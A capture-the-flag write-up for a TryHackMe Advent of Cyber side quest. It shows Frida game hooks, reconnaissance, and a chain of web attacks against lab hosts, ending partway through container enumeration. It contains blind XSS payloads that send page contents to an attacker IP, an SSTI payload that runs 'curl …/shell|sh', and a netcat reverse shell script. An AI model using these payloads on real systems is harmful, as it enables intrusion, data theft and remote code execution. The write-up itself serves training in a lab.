# T5: An Avalanche of Web Apps

{% embed url="<https://tryhackme.com/r/room/adventofcyber24sidequest>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## L5 Keycard

We find the keycard for the fifth Side Quest hidden in the task of the 25th day of the TryHackMe Advent Of Cyber. In the following task, it gives us a hint to listen to the second peguins advices: `The second penguin gave pretty solid advice. Maybe you should listen to him more.`

Day 19: I merely noticed that you’re improperly stored, my dear secret!

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9Dag4Ai2Zvxjlo0m19nz%2Fgrafik.png?alt=media&#x26;token=b44f096e-587e-4e38-b968-d42b1711fcb5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFEVPc0lIzsCKlWpGrgQi%2Fgrafik.png?alt=media&#x26;token=2814a7ce-1e8e-4226-93c3-5486b284709e" alt=""><figcaption></figcaption></figure>

The task itself is about game hacking and introduces us to frida-trace. However, when starting the application in the context of frida-trace, the function call `_Z14create_keycardPkc()` is immediately noticeable.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkkX2X1el2oVAvHbV7Yq2%2Fgrafik.png?alt=media&#x26;token=411c1bc4-8712-4355-81ea-93a4c830aed9" alt=""><figcaption></figcaption></figure>

There is also a corresponding js file created by frida in `__handlers__` after running the application with firda-trace, which was not there before.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAZAJYUa5lR2jq3igyQjI%2Fgrafik.png?alt=media&#x26;token=731550b8-5a78-484d-9383-869c87726cd1" alt=""><figcaption></figcaption></figure>

We follow the hint and try to buy as much advice as possible from the second penguin. To do this, and to avoid having to update our coin count using the in-game PC, we use frida-trace to give the function a negative argument for the price. This allows us to buy as many advices as we want.

{% code title="\_Z17validate\_purchaseiii.js" overflow="wrap" lineNumbers="true" %}

```
/*
 * Auto-generated by Frida. Please modify to match the signature of _Z17validate_purchaseiii.
 * This stub is currently auto-generated from manpages when available.
 *
 * For full API reference, see: https://frida.re/docs/javascript-api/
 */


defineHandler({
  onEnter(log, args, state) {
    log('_Z17validate_purchaseiii()');
    log('PARAMETER 1: '+ args[0]);
    log('PARAMETER 2: '+ args[1]);
    log('PARAMETER 3: '+ args[2]);
    args[1] = ptr(-31337);

  },

  onLeave(log, retval, state) {
      
  }
});
```

{% endcode %}

After several hints we get the following. A sequence that reminds us of the last appearance of Cyber Side Quest 2023.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FO8aiPrHAXGoAPBbhY3s5%2Fgrafik.png?alt=media&#x26;token=d50cdb61-302f-42de-a8e0-4366bf154643" alt=""><figcaption></figcaption></figure>

We enter the sequence with the error keys and get the message incorrect password.

```
UP DOWN LEFT RIGHT DOWN DOWN UP UP RIGHT LEFT
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnxMizdNuUaZbj1FK8glY%2Fgrafik.png?alt=media&#x26;token=86d35e96-f13a-4e12-bcc0-b4ccb986f694" alt=""><figcaption></figcaption></figure>

Lets apply what we learned from the room and set the return value to true to bypass the password check. And after re-entering the sequence, we get a secret phrase, but no keycard.

{% code title="\_Z14create\_keycardPKc.js" overflow="wrap" lineNumbers="true" %}

```
/*
 * Auto-generated by Frida. Please modify to match the signature of _Z14create_keycardPKc.
 * This stub is currently auto-generated from manpages when available.
 *
 * For full API reference, see: https://frida.re/docs/javascript-api/
 */

defineHandler({
  onEnter(log, args, state) {
    log('_Z14create_keycardPKc()');
    log("PARAMETER:" + Memory.readCString(args[0]));
  },

  onLeave(log, retval, state) {
     retval.replace(ptr(1));
     log("The return value is: " + retval);
  }
});
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqWIScZMTbwTeyNQCz25V%2Fgrafik.png?alt=media&#x26;token=ef0fc643-e0fb-4e33-af6c-ee7c10705179" alt=""><figcaption></figcaption></figure>

We could have found this sequence using strings on the binary.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBf392VkEp6gD0n9G29wF%2Fgrafik.png?alt=media&#x26;token=97e28874-f5a9-4cf4-9c33-b8c8699e03fb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaBAnuOsxjx4vsa33E3IS%2Fgrafik.png?alt=media&#x26;token=d5fcb9e2-086b-4467-a8ce-7a9db9dfdd5d" alt=""><figcaption></figcaption></figure>

We still need the keycard. Let us copy the `TryUnlockMe` binary and the corresponding `libaocgame.so` library to our attacker's machine. We can use netcat to do this:

{% embed url="<https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/>" %}

We set up a listener on our machine that writes incoming data to the TryUnlockMe file:

```
nc -l -p 1234 > TryUnlockMe
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIYVSrzYZTQEIr23VRWaK%2Fgrafik.png?alt=media&#x26;token=7ac36d2a-f1bf-4658-998e-bf8b2f37d4c8" alt=""><figcaption></figcaption></figure>

Next, we write the data of the TryUnlockMe binary into the connection we are listening to on our target machine.

```
~/Desktop/TryUnlockMe$ nc -w 3 10.14.90.235 1234 < TryUnlockMe
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FfzVWDnqYifqd5AZCZoXk%2Ftryunlock1.png?alt=media&#x26;token=f70823a1-eb9c-41c6-b715-927edd227fd7" alt=""><figcaption></figcaption></figure>

We do it vice versa for the library. Set up a listener on the attacker machine to receive the data.

```
nc -l -p 1234 > libaocgame.so
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSeUgVqzJ1zi4DHfGb2Lf%2Fgrafik.png?alt=media&#x26;token=59d3f960-6fe5-4bbb-9c63-b1f76e49b848" alt=""><figcaption></figcaption></figure>

And send the data of the file using netcat.

```
/usr/lib$ nc -w 3 10.14.90.235 1234 < libaocgame.so
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFjU5IcUFWlffSPF6OIyM%2Fgrafik.png?alt=media&#x26;token=d5fb73da-04ab-4837-adbf-7547804fe3c9" alt=""><figcaption></figcaption></figure>

We now have both files on our system.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaSrL6F6E0qldoYfedwzr%2Fgrafik.png?alt=media&#x26;token=00c44b57-c857-4e1e-860f-6b4a4b863bf1" alt=""><figcaption></figcaption></figure>

We decompile both binaries with Binaryninja. We find nothing useful on the TryUnlockMe binary.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDs9gBUWbYUxGq5iTMhpu%2Fgrafik.png?alt=media&#x26;token=eeec2f71-b8f2-42b1-ab82-a19b5b3fa222" alt=""><figcaption></figcaption></figure>

But in the `libaocgame.so` library we find a function to create the keycard.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdM1yKALJfBhtjwIsm0kZ%2Fgrafik.png?alt=media&#x26;token=b600dedd-c5b3-402c-991d-33fee1497862" alt=""><figcaption></figcaption></figure>

By examining the function, we can see that it writes to a file.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3UPo52PiSIWlvvIgv1o1%2Fgrafik.png?alt=media&#x26;token=720638bc-beb8-474d-8a90-1471fea9c157" alt=""><figcaption></figcaption></figure>

Now that we have the library, we can use it in a C program to call the `create_keycard()` function to write the file to our system.

This C program was developed by Aquinas. All rights and credit are attributed to him:

{% code title="extract.c" overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>
#include <dlfcn.h>
#include <stdint.h> // For uint64_t

// Typedef for the create_keycard function
typedef uint64_t (*createKeycard_t)(char *);

int main()
{
    // Path to the shared library
    const char *library_path = "./libaocgame.so";

    // Load the shared library
    void *handle = dlopen(library_path, RTLD_LAZY);
    if (!handle)
    {
        fprintf(stderr, "Error loading library: %s\n", dlerror());
        return 1;
    }

    // Clear any existing error
    dlerror();

    // Load the create_keycard function
    createKeycard_t createKeycard = (createKeycard_t)dlsym(handle, "_Z14create_keycardPKc");
    const char *error = dlerror();
    if (error != NULL)
    {
        fprintf(stderr, "Error loading function: %s\n", error);
        dlclose(handle);
        return 1;
    }

    // Prepare input parameter for the function
    char input[] = "one_two_three_four_five"; // C-style string

    // Call the create_keycard function
    uint64_t result = createKeycard(input);

    // Print the result
    printf("create_keycard returned: 0x%lx (%lu)\n", result, result);

    // Close the library
    dlclose(handle);

    return 0;
}

```

{% endcode %}

After compiling and running the program, we have the zip file, but it is password protected.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNf42WiGxG7gbfGa5bPgg%2Fgrafik.png?alt=media&#x26;token=f4f53844-cf19-4b01-896e-157a265d5ef4" alt=""><figcaption></figcaption></figure>

Fortunately, we retrieved a passphrase before from the game, which is the password for the zip file. After extracting it, we get the fifth keycard.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F25xW8kMKwYURYEHmpQBm%2Fgrafik.png?alt=media&#x26;token=f374b61b-d58f-4322-9fd8-2d35d80ba707" alt=""><figcaption></figcaption></figure>

## Teardown Firewall

We can deactivate the firewall with the password of the keycard. We can pass the value to a website on port `21337`.

## Recon

We start with an Nmap scan and find four other open ports in addition to port `21337`. Port `22` SSH, port `53` dns and on port `80` and `3000` we have a web server. An Apache `2.4.58` web server on port 80 and a nodejs web server on port `3000`.

```
nmap -p- -sT -T4 -v 10.10.177.37
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrN6sQbJb71sCIuj0mF7d%2Fgrafik.png?alt=media&#x26;token=fdf62947-cee5-46b6-a741-35eb87303b64" alt=""><figcaption></figcaption></figure>

```
nmap -sC -sV -p 22,53,80,3000 10.10.177.37 -T4
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1wHXpzCsNXPiYzAkZDEa%2Fgrafik.png?alt=media&#x26;token=3a50d32b-af88-4c68-9df1-323604d601b4" alt=""><figcaption></figcaption></figure>

From the detailed Nmap version scan we can find a redirect to <http://thehub.bestfestivalcompany.thm>. We add this to our `/etc/hosts` for now.

```
thehub.bestfestivalcompany.thm
```

{% code overflow="wrap" %}

```
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://bestfestivalcompany.thm/ -H "Host:FUZZ.bestfestivalcompany.thm" -fw 18
```

{% endcode %}

A scan for other VHOSTs will not return anything useful.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbbhzJ2ZKl2VFYcdkVPWF%2Fgrafik.png?alt=media&#x26;token=864242ef-54cd-4a23-b414-c3e926a444ed" alt=""><figcaption></figcaption></figure>

But there is a DNS server running on the machine. We use dig to query it for the A record of `thehub.bestfestivalcompany.thm` and find a different IP, `172.16.1.3`.

```
dig A thehub.bestfestivalcompany.thm @10.10.177.37
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKVkargZbn9dHIt8auZnd%2Fgrafik.png?alt=media&#x26;token=a0c89379-ad10-483c-8b5c-29590de2a047" alt=""><figcaption></figcaption></figure>

Let us do some reverse lookups on the address range of `172.16.1.0`. We find another entry for `172.16.1.2`, its `npm-registry.bestfestivalcompany.thm`.

```
dig -x 172.16.1.2 @10.10.177.37
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FggJQTx03j8coN4Nn5BVH%2Fgrafik.png?alt=media&#x26;token=6404b820-f025-47ba-90e1-5d817f3480db" alt=""><figcaption></figcaption></figure>

We are trying a DNS zone transfer for the domain `bestfestivalcompany.thm` on the DNS server. A DNS zone transfer allows DNS records to be replicated from a primary DNS server to a secondary DNS server. This allows us to discover multiple subdomains for `bestfestivalcompany.thm`.

```
dig axfr bestfestivalcompany.thm @10.10.177.37
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNOyO760zx2HMyFOgN9p0%2Fgrafik.png?alt=media&#x26;token=fed87cad-7f5b-4fb3-a4a8-16046bf08681" alt=""><figcaption></figcaption></figure>

We add these to our `/etc/host` file and re-enumerate.

```
bestfestivalcompany.thm
thehub-uat.bestfestivalcompany.thm
adm-int.bestfestivalcompany.thm
thehub.bestfestivalcompany.thm
thehub-int.bestfestivalcompany.thm
npm-registry.bestfestivalcompany.thm
```

At `thehub-uat.bestfestivalcompany.thm` on port `3000` we now find a website presenting a team. Scrolling down you can also find a contact form. But more about that later.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDnQXUf7f8GMY7H5vkhrX%2Fgrafik.png?alt=media&#x26;token=64d99b6d-1802-444c-a317-8685628d82fa" alt=""><figcaption></figcaption></figure>

There is a Verdaccio instance running at `npm-registry.bestfestivalcompany.thm`. Verdaccio is a lightweight, open source, Node.js-based private npm registry that allows to host and manage own package repositories. Looks like this could be used later for something like a dependency confusion attack. But let's move on to the contact form we found.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNQoLPonMLPxvjqmIX8L5%2Fgrafik.png?alt=media&#x26;token=d69f04cf-f9a6-497b-be55-71ca264ce56f" alt=""><figcaption></figcaption></figure>

## Flag 1 - Shell As Root On 172.16.1.3

We go back to `thehub-uat.bestfestivalcomapny.thm:3000` and test the contact form for some blind XSS.

### Test For Blind XSS

To do this, we use a payload that connects back to our web server, and for each field and for each field we chose a different directory so that we can tell which field is vulnerable when someone checks the message we send.

```
http://thehub-uat.bestfestivalcomapny.thm:3000
```

```
<script src="http://10.14.90.235/message"></script>
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBBB8FesS7nIu0ZJiMgMJ%2Fgrafik.png?alt=media&#x26;token=cf24061c-a1fd-419a-a817-ed14886e1fe6" alt=""><figcaption></figcaption></figure>

We set up a Python web server and get a connection back for the message field.

```
python -m http.server 80
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Frn87wjRtfXuy40rnxqEi%2Fgrafik.png?alt=media&#x26;token=ce1c061c-105b-4d9d-ad37-1d577cae756a" alt=""><figcaption></figcaption></figure>

### Stealing Page Content

Nice, we are now able to inject some XSS. To test different payloads, we will make a new contact request with the following payload, which will be loaded from our web server, so we do not need to make multiple requests and just change the content of the script.

```
<script src="http://10.14.90.235/script.js"></script>
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAjqguiuYuOKmb7OaQFRH%2Fgrafik.png?alt=media&#x26;token=a0e30bbf-980b-4521-aa15-c67140ee7913" alt=""><figcaption></figcaption></figure>

With the following payload, we try to request the page the user is seeing on reviewing the contact we made, since we are not able to steal a cookie to get an authenticated session.

```
fetch("/", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

```

WA request is sent to our web server containing the content of the current page.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F37IKgV99C1xxP9xiblPt%2Fgrafik.png?alt=media&#x26;token=6e2b933c-5b39-4991-970a-f27d137e7d63" alt=""><figcaption></figcaption></figure>

And we see that there are two more pages, `/wiki` and `/contact-response`s available.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWjWe27hzUZtOcYHXGTg6%2Fgrafik.png?alt=media&#x26;token=0650c4fe-2f5d-4ffa-821b-186e171b7ee3" alt=""><figcaption></figcaption></figure>

We update the `script.js` to fetch the wiki page.

```
fetch("/wiki", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVo0KjsltWBwZJc0I0UJu%2Fgrafik.png?alt=media&#x26;token=8c326825-4c2a-41ee-95b0-7a50c5d0b129" alt=""><figcaption></figcaption></figure>

And we see another link to `/wiki/new` to create a new wiki entry.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJSMssy8TelVU6nC1YJzM%2Fgrafik.png?alt=media&#x26;token=9925afa0-d789-4300-ab67-ffc52865d11f" alt=""><figcaption></figcaption></figure>

We will now try to get the contents of `/wiki/new`...

```
fetch("/wiki/new", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FegLbAv2VgIeXz9F0aJnj%2Fgrafik.png?alt=media&#x26;token=73f80c9c-2291-409e-a418-12fa401a99f1" alt=""><figcaption></figcaption></figure>

... and see a form for submitting a request to create a new wiki entry. It is interesting to note that the content we can provide can be markdown.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMMbV3uXL6KlHOjqGfovg%2Fgrafik.png?alt=media&#x26;token=db1c4f63-d91d-4431-b426-2cf00f09d676" alt=""><figcaption></figcaption></figure>

### Create Wiki Entries And Test For SSTI

With the following payload, we force the reviewer of our message to create a new wiki entry. While playing around, we test for other vulnerabilities. In our control we have the title and the markdownContent field values.

During testing, we also test some SSTI payloads such as the following

```
const formData = new URLSearchParams({
  title: "fooobar",
  markdownContent: "## This is a Markdown content example {{7*7}} #{7*7} ${7*8}"
});

fetch('/wiki', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
  },
  body: formData.toString(),
})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FE418C6yyRPA3A7fpnJsG%2Fgrafik.png?alt=media&#x26;token=8cf39fb3-dc60-4d06-8651-b4cee689e7e2" alt=""><figcaption></figcaption></figure>

With the post request we get a response back. A link to `/wiki/1` was created.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ff7rUcGH0aX24P5Hihahs%2Fgrafik.png?alt=media&#x26;token=15587ff9-3da4-4f38-a654-3ce98e8fa27b" alt=""><figcaption></figcaption></figure>

We examine the wiki entry created...

```
fetch("/wiki/1", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMEaUtM5mGWjW9NcJiyQO%2Fgrafik.png?alt=media&#x26;token=221bf816-3e6d-4646-9d8d-9116c5ffb13d" alt=""><figcaption></figcaption></figure>

And see that our payload containing `{{7*`*`7}}` fully errors, and on `${7*`*`7}` we see the `*` got substituted to \</i>. The reason for `{{7*7}}` throwing an error might be that indeed SSTI is present, but the substitution takes place first, so `{{7</i>7}}` errors.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBJTZ2krO3cPEjE7Pk2Rb%2Fgrafik.png?alt=media&#x26;token=367019c3-df90-44bc-91aa-00fd5a32c295" alt=""><figcaption></figcaption></figure>

Lets test it with `{{7+7}}`, to see if `+` gets also substituted, or `{{7+7}}` evaluated.

```
const formData = new URLSearchParams({
  title: "fooobar",
  markdownContent: "## This is a Markdown content example {{7+7}} #{7*7} ${7*8}"
});

fetch('/wiki', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
  },
  body: formData.toString(),
})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FI1vcA8AHr3L7lhADPyap%2Fgrafik.png?alt=media&#x26;token=91723cb6-38cc-4789-a6a8-e31b1f8dad74" alt=""><figcaption></figcaption></figure>

We get a response after creating a new wiki entry.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fh3G51dPT4ARI3sq81oQg%2Fgrafik.png?alt=media&#x26;token=85671b82-d5af-4c27-ac4e-963ae7dd3228" alt=""><figcaption></figcaption></figure>

We fetch the new wiki entry.

```
fetch("/wiki/2", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fw1Kh6Kf0RSTbc44JFkyK%2Fgrafik.png?alt=media&#x26;token=46abdace-b4ec-4b41-99c0-6f862a6e7961" alt=""><figcaption></figcaption></figure>

And we see, that `{{7+7}}` gets evaluated to `14`. SSTI seems to be present.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4nH9w9x9OE6OjaPiyeBC%2Fgrafik.png?alt=media&#x26;token=be16f82c-c9f8-44ea-bde9-ce12b750373b" alt=""><figcaption></figcaption></figure>

### RCE via SSTI

The next thing to try is a simple SSTI payload that downloads and executes a reverse shell.

{% code overflow="wrap" %}

```
require("child_process").exec("curl 10.14.90.235/shell|sh")
```

{% endcode %}

```
const formData = new URLSearchParams({
  title: "My New Wiki",
  markdownContent: `{{ ''.constructor.constructor('require("child_process").exec("curl 10.14.90.235/shell|sh")')() }}`
});

fetch('/wiki', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
  },
  body: formData.toString(),
})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpYV1G0ESTjQpuXOTk0v4%2Fgrafik.png?alt=media&#x26;token=14b329e2-6acb-4445-9f8a-21d88bc926ef" alt=""><figcaption></figcaption></figure>

```
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.90.235 4445 >/tmp/f
```

After adding the wiki entry we get a response back...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKePA8aZXGePIO5n4WoH3%2Fgrafik.png?alt=media&#x26;token=d02b0266-b24c-4342-b6c8-bc7f59a5f78e" alt=""><figcaption></figcaption></figure>

... and a connection back to our previously set up listner. We upgrade the shell.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCnTIR9mjHYkKinUIJFog%2Fgrafik.png?alt=media&#x26;token=798c49d8-6766-4c2a-b40f-d531d39209f3" alt=""><figcaption></figcaption></figure>

We are on `172.16.1.3` a Docker container. The flag can be found in the container's root directory.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNyXHSuKa0xsuDGu9jv9S%2Fgrafik.png?alt=media&#x26;token=1e55c4c4-ed60-4050-af92-269829296886" alt=""><figcaption></figcaption></figure>

### Further Considerations

The Verdaccio instance on npm-registry.bestfestivalcompany.thm does not only have some official packages. Scrolling through the list of available packages, there is one from McSkidy, a markdown converter. We can inspect the package and download the source.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FlFxf79EKbdE2HrOov5QB%2Fgrafik.png?alt=media&#x26;token=01cf8816-3006-48e2-a901-ad1e1644a57a" alt=""><figcaption></figcaption></figure>

Reviewing the source code, we could easily see the substitution taking place, converting the markdown to HTML and the potential risk of SSTI.

```javascript
const vm = require('vm');

function markdownToHtml(markdown, context = {}) {
  let html = markdown
    .replace(/^# (.*$)/gim, '<h1>$1</h1>')
    .replace(/^## (.*$)/gim, '<h2>$1</h2>')
    .replace(/^### (.*$)/gim, '<h3>$1</h3>')
    .replace(/^\* (.*$)/gim, '<li>$1</li>')
    .replace(/\*\*(.*)\*\*/gim, '<b>$1</b>')
    .replace(/\*(.*)\*/gim, '<i>$1</i>');

  const dynamicCodeRegex = /\{\{(.*?)\}\}/g;
  html = html.replace(dynamicCodeRegex, (_, code) => {
    try {
      const sandbox = {
        ...context,
        require,
      };
      return vm.runInNewContext(code, sandbox);
    } catch (error) {
      return `<span style="color:red;">Error: ${error.message}</span>`;
    }
  });

  return html;
}

module.exports = { markdownToHtml };

```

## Flag 2 - Shell As Root On 172.16.1.2

With a shell on `172.16.1.3`, we start by enumerating the container to hopefully jump to another container or escape to the host.

### Enum

In the `/etc/host` we can see that the current hostname matches up with the entry for 172.16.1.3...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHyFr1FzCaA3napmxiHDY%2Fgrafik.png?alt=media&#x26;token=6fff9086-39c2-46af-9194-4295b35f2e12" alt=""><figcaption></figcaption></figure>

Since we are in a docker container with the IP `172.16.1.3` we try to test if the other docker containers like `172.16.1.2` are reachable and if so, what services are running on them. For `172.16.1.2`, we can detect four open ports with a static nmap binary.

